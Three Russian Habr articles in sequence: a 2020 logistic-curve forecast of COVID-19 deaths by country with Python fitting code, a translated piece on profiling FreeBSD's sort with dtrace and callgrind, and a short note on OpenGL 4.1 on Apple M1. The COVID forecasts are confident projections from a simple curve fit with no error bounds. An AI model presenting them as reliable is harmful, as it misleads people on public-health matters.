Все дело в том, что миром правит не экспонента, а логистическая кривая.
В отличие от экспоненты, логистическую кривую не проходят не только в школе, но даже в ведущих технических университетах (например, на Физфаке МГУ и на Физтехе). Поэтому физики и вообще технари нередко не имеют о ней представления.
Тем не менее, огромное количество явлений в экономике, биологии, социологии, науке и технике развивается в полном соответствии с этой математической моделью. Давайте приглядимся к ней повнимательнее. Вот она. По оси х отложено время, по у – число, которое характеризует исследуемое нами явления (в нашем случае, количество смертей от коронавируса).
### Коварная кривая, которая обламывает весь хайп
Логистическая кривая показывает переход между двумя устойчивыми состояниями. Нижнее состояние традиционно считается равным нулю. Верхнее состояние – это максимум, который в принципе может достичь исследуемое явление. Кривая приближается к нему как угодно близко, но никогда не достигает максимального значения.
Самая важная точка на кривой – это точка перегиба. Она расположена ровно посередине между минимум и максимумом. Именно в этой точке максимально скорость роста кривой. Но в ней происходит перегиб. До этой точки рост кривой только ускоряется. После – только затухает.
Обычно некоторое явление поначалу никто не замечает (как не замечали коронавирус до конца января). В этот момент значение кривой близко к нулю. Постепенно явление нарастает, его начинают замечать, вокруг него возникает хайп. Хайп может быть как положительным (как, например, в момент полета Гагарина люди на всей Земле заболели космосом), так и отрицательным (ситуация с нынешним коронавирусом). В момент хайпа все предсказывают, что явление приобретет невероятные масштабы и перевернет мир. Так, в момент полета Гагарина, даже профессионалы думали, что покорение Солнечной системы произойдет еще в ХХ веке. И совершенно не ожидали, что все успехи космонавтики закончатся в 1969 году с высадкой человека на Луну.
Именно в момент максимального хайпа кривая достигает половины от своего будущего максимума. Затем рост затухает и явление совершенно не оправдывает возлагавшихся на него надежд (равно как и опасений).
### Китайская логистическая кривая
Давайте посмотрим, что произошло в Китае.
На графике ниже красными точками отмечено количество смертей от вируса на заданную дату. Синяя кривая – это логистическая кривая, аппроксимирующая реальные данные. Мы видим, что данные ложатся на нее практически идеально. На графике ниже показано количество смертей, произошедших в определённую дату. Фактически, это разница между значениями логистической кривой на сегодня и на вчера. С математической точки зрения, это первая производная от логистической кривой.
Мы видим, что сначала количество новых смертей растет практически по экспоненте. Затем рост начинает замедляться, кривая новых смертей достигает максимума в точке перегиба, когда логистическая кривая достигает половины от своего максимального значения. Затем количество новых смертей снижается, и устремляется к нулю. Красными точками отмечены новые смерти, синяя кривая – аппроксимирующая их производная от логистической кривой.
Заметим, что логистическая кривая симметрична относительно точки ее перегиба, а ее первая производная – относительно вертикальной линии, проходящей через эту точку. Также отметим, что реальные данные идеально лежат на логистической кривой, но «пляшут» относительно ее первой производной. Дело в том, что показатель смерти в точке подвержен высокому разбросу, а показатель общего количества смертей – это сумма таких показателей. Она сглаживается в соответствии с центральной предельной теоремой.
Итак, мы видим, что логистическую кривую можно эффективно использовать для прогнозирования смертей от коронавируса. Тут важным свойством является ее симметричность. Когда точка перегиба достигнута, по одной половинке кривой мы можем с высокой точностью восстановить другую половинку.
В свою очередь, для того, чтобы определить, достигнута ли точка перегиба, надо просто посмотреть на график первой производной. Как только он пошел вниз – соответствующая точка достигнута.
### Чем закончится итальянская катастрофа?
Обратим наш взгляд на три страны на букву «И»: Италию, Иран и Испанию. Глядя на кривые смертей в конкретную дату, мы видим, что, скорее всего, пик катастрофы там пройден, и настало время подводить итоги.
По нашим прогнозам, всего от COVID-19 умрут:
в Италии – около 19 тысяч человек,
в Иране – около 4 тысяч человек,
в Испании – около 15 тысяч человек.
### На полпути к финальной смертности
Эпидемия в Германии, кажется, достигла своего пика и общее количество умерших от коронавируса в этой стране составит около 2,6 тысяч человек.
В таких странах, как Нидерланды, Швейцария и Бельгия, математическое моделирование показывает, что эпидемия находится в точке перегиба. Если этот так, то ожидаемое количество умерших в них:
в Нидерландах – около 2,5 тысяч человек,
в Швейцарии – около 1,1 тысячи человек,
в Бельгии – около 2,2 тысяч человек.
### Для кого-то все только начинается
В США точка перегиба еще не пройдена, поэтому прогноз по ним может значительно скорректироваться. В настоящее время он составляет 23 тысячи человек.
### Великобритания – новый эпицентр трагедии?
Наконец, для двух стран сохраняется высокая неопределенность в достижении точки перегиба. Это Великобритания и Франция.
Прогнозы конечного числа смертей по ним постоянно повышаются. В настоящее время они составляют:
* по Великобритании – около 33 тысяч человек,
* по Франции – около 12 тысяч человек.
Автор надеется, что данные прогнозы являются результатом случайных флуктуаций, и в ближайшие дни они скорректируются в меньшую сторону.
Особое беспокойство у автора вызывает Великобритания. По данным на 25.03 автор прогнозировал в этой стране смертность на уровне 1 тысячи человек, по данным на 01.04 – на уровне 8 тысяч, теперь прогноз показывает уже 33 тысячи. Ни по одной другой стране прогнозы не имеют такой волатильности.
Возможно, в Великобританию постепенно перемещается эпицентр трагедии смертей от коронавируса. Также возможно, что развитие ситуации в стране связано с изначально безответственной политикой Бориса Джонсона, который до последнего отказывался вводить жесткие ограничения и надеялся на «иммунизацию стада». В этом случае, автор надеется, что граждане, о которых Джонсон выразился столь непочтительным образом, вспомнят ему эту политику на очередных, а скорее – внеочередных выборах.
### Прогноз по России
Поскольку в России эпидемия только начинается, прогнозировать количество умерших с помощью логистической кривой не получится. Ниже мы применим другой метод прогноза.
### А что в мировом масштабе?
Пришло время простроить прогноз для всего мира.
Построенная нами логистическая кривая дает такие результаты: пик кризиса придется на первую декаду мая, закончится эпидемия в середине июля. Она унесет жизни примерно 1 миллиона 800 тысяч человек.
Поскольку эпидемия в мировом масштабе только разгорается, прогноз на основе логистической кривой может дать неверный результат, поэтому воспользуемся альтернативным методом прогнозирования.
Рассмотрим страны, для которых мы сделали прогнозы.
В таблице определена доля населения, этих стран, которая умрет от коронавируса (Великобритания и Франция временно исключены ввиду высокой неопределенности прогнозов). Мы видим, что значительно отличаются две группы стран. В таких странах как Италия, Испания и Бельгия, смертность прогнозируется на уровне 0,029% от населения. В более благополучной группе стран (Китай, Германия, Иран, США, Нидерланды, Швейцария) уровень смертности ожидается в районе 0,007% — в 4 раза ниже.
Можно предположить, что для мира в целом будет характерен более высокий уровень смертности. Дело в том, что в нашем анализе мы рассмотрели относительно богатые страны с дееспособными правительствами, имеющие как финансовые, так и организационные ресурсы для борьбы с эпидемией. Но на Земле много государств, которые обладают гораздо более скромными возможностями, как с финансовой точки зрения, так и с организационной. Многие из этих стран весьма густо населены. Можно предположить, что в этих странах эпидемия соберет даже больший процент жертв, чем в богатых Италии, Испании и Бельгии. С другой стороны, и доля пожилого населения в таких странах меньше, что снижает потенциальную смертность.
Если оценить мировую смертность на уровне худшей группы стран, то в мире умрет около 2 миллиона 100 тысяч человек. Если использовать средние значения – то около 900 тысяч.
Наш пессимистический прогноз для числа умерших в мире, рассчитанный на основе доли умершего населения, оказался удивительно близок с прогнозом, рассчитанным на основе логистической кривой.
Таким образом, в мире умрет 1-2 миллиона человек, причем цифра 2 миллиона более вероятна.
### Что же будет с Родиной и с нами?
Что касается России, то при численности населения 148 миллионов человек оптимистический прогноз (на основании среднего по всем странам, кроме тройки аутсайдеров) составляет 10 тысяч человек. А пессимистический (основанный на смертности на уровне Италии, Испании и Бельгии) – 40 тысяч.
При этом цифра 10 тысяч гораздо более вероятна. Дело в том, что у России есть несколько благоприятных факторов: низкая плотность населения, большие расстояния между крупными городами, относительно низкие миграционные потоки между регионами (исключая столичный регион), решительность, адекватность и своевременность действий властей по борьбе с эпидемией. Эти факторы дают надежду избежать развития ситуации по итальяно-испанско-бельгийскому варианту.
Что касается сроков завершения эпидемии в России, обратимся на график ниже. На нем мы изобразили логистические кривые для разных стран на одном графике. При этом мы отнормировали все кривые по высоте так, чтобы максимальным значением была единица, и совместили точку перегиба, расположив ее в нуле.
Из графика видно, что эпидемия завершается за 40-60 дней. Если взять в качестве точки отсчета 30 марта, то в России эпидемия должна будет завершиться к 10-30 мая.
### Оправданны ли жертвы?
И, наконец, последний вопрос, который поднимался в начале статьи: насколько оправданны жесткие карантинные меры, которые принимаются правительствами большинства стран мира?
Ежегодно в мире умирает около 58 миллионов человек. 2 миллиона, которые по пессимистическому прогнозу умрут от коронавируса, увеличат эту цифру на 3,5%. С другой стороны, масштабный мировой карантин грозит перерасти в самый большой экономический кризис со времен Великой депрессии. В результате без работы останутся десятки, а то и сотни миллионов людей. Доходы населения упадут, и многие умрут от голода или отсутствия возможности оплатить медицинскую помощь.
Часто высказываются мнения, в том числе и некоторыми мировыми лидерами, что лучше было бы предоставить людей своей судьбе, и не губить экономику. В конце концов, от сезонного гриппа ежегодно умирает от 300 до 650 тысяч человек, но никто не предпринимает столь разрушительные для экономики ограничительные меры.
Наша модель позволяет утверждать следующее: COVID-19 – это вовсе не сезонный грипп. Этот вирус несопоставимо более опасный. Дело в том, что точка перегиба логистической кривой существует не сама по себе. На нее очень сильно влияют условия протекания эпидемии. Ход течения любой эпидемии описывается логистической кривой, однако логистические кривые – это целое семейство. Мы помним, что точка перегиба расположена ровно в половине от максимума кривой. Поэтому, чем позже будет пройден пик смертности, тем больше будет финальное число умерших. Мы видели, что вблизи от точки перегиба логистическая кривая растет максимально быстро. Поэтому, если пик заболевания будет пройден на 10 дней позже, количество его жертв может увеличиться в несколько раз!
Полученные нами прогнозы по точкам перегиба логистических кривых уже включают в себя все карантинные меры, принятые правительствами стран мира. Если бы таких мер не было, то точки перегиба были достигнуты гораздо позже. В этом случае смертность могло бы достигнуть уровня 0,4-0,5% от всего населения земного шара.
Почему мы оцениваем уровень смертности от ничем не сдерживаемой эпидемии в 0,4-0,5% от населения. Мы предполагаем, что в этом случае в той или иной форме вирусом переболеет все население Земли. Однако у значительного числа людей болезнь пройдет в бессимптомной форме. Поэтому мы пользуемся статистикой таких стран, как Южная Корея и Германия, которым удалось организовать максимально широкое тестирование население на коронавирус, и выявить большинство реальных заболевших. В других странах, по нашему мнению, статистика искажена именно из-за того, что количество заболевших сильно занижено. Отсюда и сверхвысокие показатели смертности в 3,5%.
0,4-0,5% от населения Земли — это 28-35 миллионов человек. За все войны, которое вело человечество за всю свою историю, только число потерь во Второй мировой войне превосходит эту цифру. Тот факт, что правительства абсолютного большинства стран мира пошли на небывалые экономические жертвы ради спасения людей, показывает, насколько выросла в мире цена человеческой жизни. Насколько распространились идеи гуманизма и приоритета интересов личности. И это внушает автору гордость за человечество и надежду на лучшее будущее всего человечества.
### Самый большой недостаток данной статьи
А вот и самый большой недостаток данной статьи. К сожалению, классическая статистика не дает нам инструментов для оценки погрешности прогнозов, построенных на основе логистической функции. Это связано с формой функции, которая имеет перегиб. Если бы этого перегиба не было, и кривая была бы монотонной, мы, с помощью преобразования Бокса-Кокса, сначала привели бы функцию к линейному виду. После этого, воспользовавшись уравнением погрешностей для линейной регрессии, построили бы верхнюю и нижнюю границу ошибок, а потом, с помощью обратного преобразования Бокса-Кокса, получили бы криволинейные границы ошибок, на основе которых построили бы максимальный и минимальный прогноз количества смертей от коронавируса.
Увы, инструменты классической статистики не дают возможности построить границы ошибок в случае кривой с перегибом. Но нам на помощь могут прийти методы машинного обучения. В следующей статье я покажу, как строятся границы ошибок в этом случае, и построю минимальный и максимальный прогнозы количества умерших как для каждой рассмотренной выше страны в отдельности, так и для всего мира.
А теперь много кода и цифр
--------------------------
Ну а теперь, собственно, математика для тех, кто хочет понять, каким образом мы пришли к изложенным ранее выводам. Тем, кому не интересны занудные вычисления, можно дальше не читать.
Вычисления делались на языке Python в среде Jupiter с использованием дополнительных библиотек scipy, numpy, pandas, datetime. Для визуализации мы использовали пакет matplotlib.pyplot. Исходные данные о количестве умерших получены [по этой ссылке](https://github.com/CSSEGISandData/COVID-19/tree/master/csse_covid_19_data/csse_covid_19_time_series) и предварительно обработаны в Excel. Информация взята по состоянию на 4 апреля. [Вот ссылка на файл с исходной информацией](https://yadi.sk/d/Eaz7NuX2bx3_dQ).
Итак, импортируем библиотеки, которые будем впоследствии использовать:
```
import numpy as np
import matplotlib.pyplot as plt
%matplotlib inline
import pandas as pd
from IPython.display import display
import scipy as sp
from datetime import datetime
from scipy.optimize import minimize
```
Читаем исходные данные и преобразуем их в объект DataFrame. Метки переменных преобразуем в объект Timestamp. В принципе, можно было бы ограничиться простыми массивами numpy, но мы используем DataFrame для удобства хранения данных с соответствующей им датой, а Timestamp для визуализации, чтобы красиво отобразить эти даты на графиках.
> corona = pd.read\_csv('D:/coronavirus.csv',sep=";")
>
> corona.set\_index('Date', inplace=True)
>
> corona.index = pd.to\_datetime(corona.index)
Затем мы из единого объекта DataFrame создаем переменные типа Series, которые соответствуют общей смертности в каждой из стран. Х – это переменная, равная номеру дня от начала года. Она потребуется нам при прогнозировании.
```
X = corona['X']
chi = corona['China']
fr = corona['France']
ir = corona['Iran']
it = corona['Italy']
sp = corona['Spain']
uk = corona['UK']
us = corona['US']
bg = corona['Belgium']
gm = corona['Germany']
nt = corona['Netherlands']
sw = corona['Switzerland']
tot = corona['Total']
```
После этого рассчитываем простые массивы numpy для смертности в определенную дату. Заметим, что длина такого массива на 1 меньше, чем длина соответствующей ей переменной Series.
```
dchi = chi[1:].values - chi[:-1].values
dfr = fr[1:].values - fr[:-1].values
dit = it[1:].values - it[:-1].values
diran = ir[1:].values - ir[:-1].values
dsp = sp[1:].values - sp[:-1].values
duk = uk[1:].values - uk[:-1].values
dus = us[1:].values - us[:-1].values
dbg = bg[1:].values - bg[:-1].values
dgm = gm[1:].values - gm[:-1].values
dnt = nt[1:].values - nt[:-1].values
dsw = sw[1:].values - sw[:-1].values
dtot = tot[1:].values - tot[:-1].values
```
Вводим дополнительную переменную для прогнозирования. Это массив, который начинается 20 января, а заканчивается через 180 дней 17 июля. Также создаем соответствующий этому массиву объект Timestamp для подписи осей.
```
X_long = np.arange(20, 200)
time_long = pd.date_range('2020-01-20', periods=180)
```
Определяем функцию resLogistic, входным аргументом которой является массив из 3 цифр, а выходным –сумма квадратов разности между значениями логистической кривой и реальным количеством смертей от эпидемии в Китае.
```
def resLogistic(coefficents):
A0 = coefficents[0]
A1 = coefficents[1]
A2 = coefficents[2]
teor = A0 / (1 + np.exp(A1 * (X.ravel() - A2)))
return np.sum((teor - chi) ** 2)
```
Количество смертей берется на каждую дату накопленным итогом. Логистическая кривая определяется 3 компонентами входного вектора. Нулевая (счет элементов массивов в Python начинается с нуля) компонента отвечает за максимальное значение, первая характеризует скорость роста функции, вторая – положение точки перегиба на оси времени.
teor – значения количества смертей для каждого из дней, исходя из входного вектора параметров, chi – фактическое количество смертей в Китае. Функция возвращает сумму квадратов разностей между теоретическим и фактическим значением.
Теперь с помощью метода minimize библиотеки scipy.optimize находим вектор, который минимизирует сумму квадратов отклонений. Построенная на основе этого вектора логистическая кривая является искомым прогнозом смертности, сделанным на основе метода минимальных квадратов.
Добавим, что для метода minimize необходима исходная точка. Ее мы подбираем исходя из известных нам свойств логистической функции (максимум должен быть больше любого эмпирического числа смертей, а точка перегиба должна быть вблизи максимума кривой dtot, характеризующей количество новых смертей в день). Обычно результаты работы метода minimize не зависят от начальной точки, но встречаются исключения.
mimim.x – это значения минимизирующего вектора.
```
minim = minimize(resLogistic, [3200, -.16, 46])
minim.x
```
Теперь мы отображаем на графике фактическое количество смертей, аппроксимирующую его логистическую кривую прогноза, а также подписываем ось времени датами.
```
plt.figure(figsize=(15,10))
teorChi = minim.x[0] / (1 + np.exp(minim.x[1] * (X_long - minim.x[2])))
plt.plot(X,chi,'ro', label='Фактические данные')
plt.plot(X_long[:80], teorChi[:80],'b', label='Аппроксимация и прогноз')
plt.xticks(X_long[:80][::2], time_long.date[:80][::2], rotation='90');
plt.title('Количество умерших всего, Китай', Size=20);
plt.ylabel('Количество умерших человек')
plt.legend()
plt.grid()
```
На нижнем графике мы строим первую производную от подобранной выше логистической кривой (синяя линия), а также реальную кривую новых смертей (красная линия).
```
plt.figure(figsize = (15,10))
plt.grid()
plt.title('Количество новых смертей в день, Китай', Size=20);
plt.plot(X[1:], dchi, 'r', Marker='o', label='Фактические данные')
plt.xticks(X_long[1:120][::3], time_long.date[1:120][::3], rotation='90');
plt.plot(X_long[1:120], teorChi[1:120] - teorChi[:119],'b', label='Аппроксимация и прогноз')
plt.ylabel('Количество умерших человек')
plt.legend()
```
Аналогичные вычисления проводим для каждой из упомянутых в статье стран.
Тут автор написал не очень красивый код. Нужно было написать одну функцию для всех стран и передавать ей количество реальных смертей через параметры метода minimize. Но у автора не было времени разбираться с этим механизмом, поэтому он написал для каждой страны свою функцию, а внутрь функции заложил обращение к переменной, содержащей информацию о количестве смертей в данной стране.
Ниже представлены расчеты для Ирана, Италии, Испании, США. Восстановить расчеты для других стран, у читателей, думаю, не составит труда.
```
def resLogisticIr(coefficents):
A0 = coefficents[0]
A1 = coefficents[1]
A2 = coefficents[2]
teor = A0 / (1 + np.exp(A1 * (X.ravel() - A2)))
return np.sum((teor - ir) ** 2)
```
```
minim = minimize(resLogisticIr, [3200, -.16, 80])
minim.x
```
```
plt.figure(figsize=(15,10))
teorIr = minim.x[0] / (1 + np.exp(minim.x[1] * (X_long - minim.x[2])))
plt.plot(X_long[:120], teorIr[:120],'b', label='Аппроксимация и прогноз')
plt.xticks(X_long[:120][::3], time_long.date[:120][::3], rotation='90');
plt.title('Количество умерших всего, Иран', Size=20);
plt.plot(X,ir,'ro', label='Фактические данные')
plt.grid()
plt.legend()
plt.ylabel('Количество умерших человек')
```
```
plt.figure(figsize = (15,10))
plt.grid()
plt.title('Количество новых смертей в день, Иран', Size=20);
plt.plot(X[1:], diran, 'r', Marker='o', label='Фактические данные')
plt.plot(X[1:], diran, 'ro')
plt.xticks(X_long[1:120][::3], time_long.date[1:120][::3], rotation='90');
plt.plot(X_long[1:120], teorIr[1:120] - teorIr[:119],'b', label='Аппроксимация и прогноз')
plt.ylabel('Количество умерших человек')
plt.legend()
```
```
def resLogisticIt(coefficents):
A0 = coefficents[0]
A1 = coefficents[1]
A2 = coefficents[2]
teor = A0 / (1 + np.exp(A1 * (X.ravel() - A2)))
return np.sum((teor - it) ** 2)
```
```
minim = minimize(resLogisticIt, [3200, -.16, 46])
minim.x
```
```
plt.figure(figsize=(15,10))
teorIt = minim.x[0] / (1 + np.exp(minim.x[1] * (X_long - minim.x[2])))
plt.plot(X,it,'ro', label='Фактические данные')
plt.plot(X_long[:120], teorIt[:120],'b', label='Аппроксимация и прогноз')
plt.xticks(X_long[:120][::3], time_long.date[:120][::3], rotation='90');
plt.title('Количество умерших всего, Италия', Size=20);
plt.ylabel('Количество умерших человек')
plt.grid()
plt.legend()
```
```
plt.figure(figsize = (15,10))
plt.grid()
plt.title('Количество новых смертей в день, Италия', Size=20);
plt.plot(X[1:], dit, 'r', Marker='o', label='Фактические данные')
plt.xticks(X_long[1:120][::3], time_long.date[1:120][::3], rotation='90');
plt.plot(X_long[1:120], teorIt[1:120] - teorIt[:119],'b', label='Аппроксимация и прогноз')
plt.ylabel('Количество умерших человек')
plt.legend()
```
```
def resLogisticSp(coefficents):
A0 = coefficents[0]
A1 = coefficents[1]
A2 = coefficents[2]
teor = A0 / (1 + np.exp(A1 * (X.ravel() - A2)))
return np.sum((teor - sp) ** 2)
```
```
minim = minimize(resLogisticSp, [3200, -.16, 80])
minim.x
```
```
plt.figure(figsize=(15,10))
teorSp = minim.x[0] / (1 + np.exp(minim.x[1] * (X_long - minim.x[2])))
plt.plot(X_long[:120], teorSp[:120],'b', label='Аппроксимация и прогноз')
plt.xticks(X_long[:120][::3], time_long.date[:120][::3], rotation='90');
plt.title('Количество умерших всего, Испания', Size=20);
plt.plot(X,sp,'ro', label='Фактические данные')
plt.grid()
plt.legend()
plt.ylabel('Количество умерших человек')
```
```
plt.figure(figsize = (15,10))
plt.grid()
plt.plot(X[1:], dsp, 'r', Marker='o', label='Фактические данные')
plt.plot(X[1:], dsp, 'ro')
plt.xticks(X_long[1:120][::3], time_long.date[1:120][::3], rotation='90');
plt.title('Количество новых смертей в день, Испания', Size=20);
plt.plot(X_long[1:120], teorSp[1:120] - teorSp[:119],'b', label='Аппроксимация и прогноз')
plt.ylabel('Количество умерших человек')
plt.legend()
```
```
def resLogisticUs(coefficents):
A0 = coefficents[0]
A1 = coefficents[1]
A2 = coefficents[2]
teor = A0 / (1 + np.exp(A1 * (X.ravel() - A2)))
return np.sum((teor - us) ** 2)
```
```
minim = minimize(resLogisticUs, [3200, -.16, 100])
minim.x
```
```
plt.figure(figsize=(15,10))
teorUS = minim.x[0] / (1 + np.exp(minim.x[1] * (X_long - minim.x[2])))
plt.plot(X_long[:120], teorUS[:120],'b', label='Аппроксимация и прогноз')
plt.xticks(X_long[:120][::3], time_long.date[:120][::3], rotation='90');
plt.title('Количество умерших всего, США', Size=20);
plt.plot(X,us,'ro', label='Фактические данные')
plt.grid()
plt.legend()
plt.ylabel('Количество умерших человек')
```
```
plt.figure(figsize = (15,10))
plt.grid()
plt.title('Количество новых смертей в день, США', Size=20);
plt.plot(X[1:], dus, 'r', Marker='o', label='Фактические данные')
plt.plot(X[1:], dus, 'ro')
plt.xticks(X_long[1:120][::3], time_long.date[1:120][::3], rotation='90');
plt.plot(X_long[1:120], teorUS[1:120] - teorUS[:119],'b', label='Аппроксимация и прогноз')
plt.ylabel('Количество умерших человек')
plt.legend()
```
 | https://habr.com/ru/post/496266/ | null | ru | null |
# Профилируем sort во FreeBSD
Программа sort во FreeBSD считывает строки из стандартного ввода или файла и возвращает те же строки в отсортированном порядке. В NetBSD есть аналогичная программа, есть такая же и в проекте GNU. Недавно мы получили багрепорт, в котором сообщалось, что сортировка FreeBSD намного медленнее, чем сортировка в NetBSD или GNU.
Я сгенерировал немного тестовых данных и попробовал это проверить. Я использовал числовую сортировку, поэтому вы видите флаг `-n` :
```
time sort -n test.txt -o /dev/null # FreeBSD
39.13 real 38.65 user 0.49 sys
time sort -n test.txt -o /dev/null # NetBSD
3.51 real 2.89 user 0.58 sys
time gsort -n --parallel=1 test.txt -o /dev/null # GNU
6.34 real 5.69 user 0.64 sys
```
Действительно, значительно медленнее! Я был заинтригован и сначала взглянул на исходный код sort, но ничего необычного не заметил. Значит, мне нужно будет использовать инструменты профилирования, чтобы определить корень проблемы.
Так как я проверял sort на больших файлах, мне стало интересно, тратит ли программа много времени на выделение памяти, поэтому я решил сначала посмотреть на на количество выполняемых ей аллокаций. Это можно сделать, подсчитав количество вызовов malloc и подобных функций, таких как realloc. Я решил данную задачу с помощью инструмента dtrace.
```
# dtrace -n 'pid$target::*alloc:entry {@ = count()}' -c "sort -n -o /dev/null test.txt"
```
Этот вызов dtrace выводит общее число всех вызовов malloc, realloc и т. д. Для тестового файла из 999999 строк я получил результат в 40019544 вызова. Четыре аллокации на каждую строку файла с входными данными! Для справки, sort NetBSD и GNU делали менее 100 аллокаций на тех же входных данных. Поскольку аллокации стоят дорого, мы определенно могли бы добиться значительного ускорения, если бы заранее выделяли некоторый пул памяти, а не отдельно для каждой строки. Но была ли проблема решена?
Не совсем. Я в очередной раз прибегнул к старому доброму инструменту отладки, простому оператору печати. Я добавил печать прямо перед вызовом procfile, функции, в которой происходит большинство аллокаций во время подготовки к сортировке, и сразу после. К сожалению, теперь мне стало ясно, что эти четыре миллиона malloc происходили в первые несколько секунд, тогда как всё время работы программы составляло около 40 секунд. Уменьшение количества malloc могло бы сократить время примерно на 5 секунд, но основная проблема заключалась не в этом. Было по-прежнему непонятно, какие функции в программе работают дольше всего, и использование dtrace для подсчета вызовов функций больше не могло мне помочь.
Следующим, что я попробовал, была утилита callgrind из пакета Valgrind. Этот инструмент профилирования подсчитывает количество выполненных инструкций, отсортированных в соответствии с тем, в какой функции они встречаются. Если мы предположим, что каждая инструкция занимает одинаковое количество времени, функция с наибольшим количеством выполненных инструкций окажется функцией, которая тратит больше всего времени на выполнение. Несмотря на то, что это грубое допущение, оно даёт неплохую оценку.
Callgrind можно запустить следующим образом:
```
$ valgrind --tool=callgrind sort -n -o /dev/null test.txt
```
Результатом будет файл с именем `callgrind.out.PID`. В состав `callgrind` также входит утилита `callgrind_annotate` для удобного отображения содержимого этого файла.
```
$ callgrind_annotate callgrind.out.PID
```
Я получил следующий результат:
```
81,626,980,838 (25.33%) ???:__tls_get_addr [/libexec/ld-elf.so.1]
59,017,375,040 (18.31%) ???:___mb_cur_max [/lib/libc.so.7]
36,767,692,280 (11.41%) ???:read_number [/usr/home/c/Repo/freebsd-src/usr.bin/sort/sort]
```
Это означает, что около 25% всех инструкций, выполняем в рамках работы программы, приходилось на вызовы функции `__tls_get_addr`, оставшиеся 18% приходились на `___mb_cur_max` и, наконец, 11% приходились на `read_number`. Обратите внимание, что эти подсчеты являются исключающими; например, если `read_number` вызывает `___mb_cur_max`, инструкции в `___mb_cur_max` не будут добавлены к инструкциям в `read_number`.
Вот только что это за функции? Две наиболее часто используемые функции, `__tld_get_addr` и `___mb_cur_max`, нигде в исходном коде не встречаются. Оказывается, эти две функции вызываются, когда используется значение `MB_CUR_MAX`. Хотя это значение выглядит как константа времени компиляции, оно таковым не является.
Я сдвинулся с мертвой точки, но хотелось копнуть глубже. Какие функции использовали `MB_CUR_MAX` так часто, и зачем? Callgrind не мог дать мне информацию о том, какие конкретно функции привели к вызовам `__tls_get_addr` и `___mb_cur_max`.
Тут на сцену выходит трассировка стека. В каждый конкретный момент времени трассировка стека содержит историю того, как программа дошла до текущего момента. Если мы будем периодически сохранять стек, то сможем получить представление о том, сколько времени программа тратит на каждую функцию и где она вызывается. Инструмент dtrace опять-таки позволяет нам это сделать.
```
# dtrace -n 'profile-997 /pid == $target/{@[ustack()] = count()}' -c "sort -n -o /dev/null test.txt" -o out.stacks
```
Данный вызов dtrace будет записывать трассировку стека на всём протяжении работы программы с частотой 997 Гц. Наконец, инструмент FlameGraph обеспечивает удобную, интерактивную и очень красивую визуализацию этих данных:
```
$ ./stackcollapse.pl out.stacks > out.stacks_folded
$ ./flamegraph.pl out.stacks_folded > stacks.svg
```
Вот результирующая SVG (в оригинале статье интерактивная):
[freebsdfoundation.org](https://freebsdfoundation.org/wp-content/uploads/2021/07/flamegraph.svg)Ось X Ось X соответствует количеству инструкций, тогда как ось Y представляет стек. В отличие от Callgrind, эта визуализация не исключающая; все инструкции, которые выполняются во время вызова функции, учитываются для этой функции. Например, мы видим, что `procfile` занимает около 8% от общего количества инструкций в программе, `sort_list_dump` занимает около 10%, а `sort_list_to_file` занимает около 80%. Мы также можем видеть, что эти три функции выполняются из функции `main`.
Эта визуализация подтвердила мою предыдущую гипотезу о том, что четыре миллиона malloc, все в procfile, не так сильно замедляют работу программы. Я также заметил на графике очень длинную полоску со знакомым названием: `___mb_cur_max`. Эта функция занимала около 30% инструкций программы, а также отвечала за вызовы `__tls_get_addr`. Ее вызывала функция `read_number`.
Теперь я видел очень простую, но эффективную оптимизацию этой программы. Я бы кэшировал значение `MB_CUR_MAX` в начале, чтобы при дальнейшем использовании не нужно было вызывать функции `___mb_cur_max` и `__tls_get_addr`. Я внес это изменение и обнаружил значительное улучшение; оно почти вдвое сократило время выполнения!
К сожалению, FlameGraph также дал мне понять, что дальнейшие улучшения программы будут не такими простыми. Большая часть оставшегося времени тратится на использование функции сортировки, которая уходит корнями в `libc`. И большая часть времени, затрачиваемого на функцию сортировки, приходится на `list_coll_offset`, `numcoll_impl` и `read_number`, которые используются в функции сравнения. Дальнейшая оптимизация этой программы будет означать оптимизацию этих функций, что само по себе уже не так просто, как кэширование значения.
Тем не менее, мы получили приличный прирост производительности в результате этого исследования. А за счет использования флагов sort для изменения алгоритма сортировки на quicksort или mergesort вместо heapsort, мы получаем производительность, почти не уступающую sort в GNU или NetBSD.
---
Перевод статьи подготовлен в преддверии старта курса «Программист С». Если вам интересно проверить свой уровень знаний для поступления на курс, пройдите [вступительный тест.](https://otus.pw/nDoL/) | https://habr.com/ru/post/667286/ | null | ru | null |
# OpenGL на Apple M1
Apple ведёт активную борьбу с открытыми стандартами и некоторое время назад объявила OpenGL "устаревшим" на своей платформе macOS Mojave 10.14, двигая разработчиков в сторону проприетарного графического API Metal. Анонсы Mac mini на чипсете **Apple M1** (ARM) и **macOS 11 Big Sur** были восприняты с тревогой за судьбу OpenGL на этой платформе, однако различные источники успокаивали - OpenGL всё ещё поддерживается macOS Big Sur.
Оставался один вопрос - ***какую версию OpenGL*** может предложить графический процессор "новичка" Apple M1? [Официальная документация Apple](https://developer.apple.com/opengl/OpenGL-Capabilities-Tables.pdf) не обновлялась с 2017го года, и в ней, разумеется, нет упоминаний M1, а доступные на момент написания статьи не освещают данный момент.
Наконец, одним вопросом стало меньше! Как оказалось, macOS заявляет о поддержке OpenGL 4.1 для данного чипа, реализованного поверх Metal - то есть достигает верхней планки OpenGL, доступной на данной платформе для других GPUs, даже GeForce и Radeon.
Для сравнения - сверху скриншот [CAD Assistant](https://opencascade.com/content/cad-assistant), запущенного на M1 (Mac mini '2020), а снизу на Intel UHD Graphics 630 (Mac mini '2018). Скриншот демонстрирует работу трассировки путей (Path Tracing) на GPU реализованного открытым графическим движком [Open CASCADE Technology](https://dev.opencascade.org). Path Tracing требует OpenGL 4+ и представляется собой достаточно сложную GLSL программу - так что это неплохой способ проверить работоспособность GPU и реализации OpenGL.
*К сведению, самая распространённые реализации OpenGL на Windows давно поддерживают версию* [*OpenGL 4.5*](https://en.wikipedia.org/wiki/OpenGL#OpenGL_4.5) *('2014) и выше, спецификации которой вышли без малого шесть лет назад, тогда как OpenGL 4.1 ('2010) уже исполнилось 10 лет! Но удивляться "отсталости" Apple тут нет смысла - компания нигде не объявляла войну OpenGL, но план вытеснения его с платформы macOS прослеживался уже давно, даже до представления общественности проприетарного графического API Metal в 2014ом году - сначала для iOS, а затем и для macOS. И, к сожалению, в отличие от других платформ, производители видеокарт не могут обновить версию OpenGL независимо от Apple.*
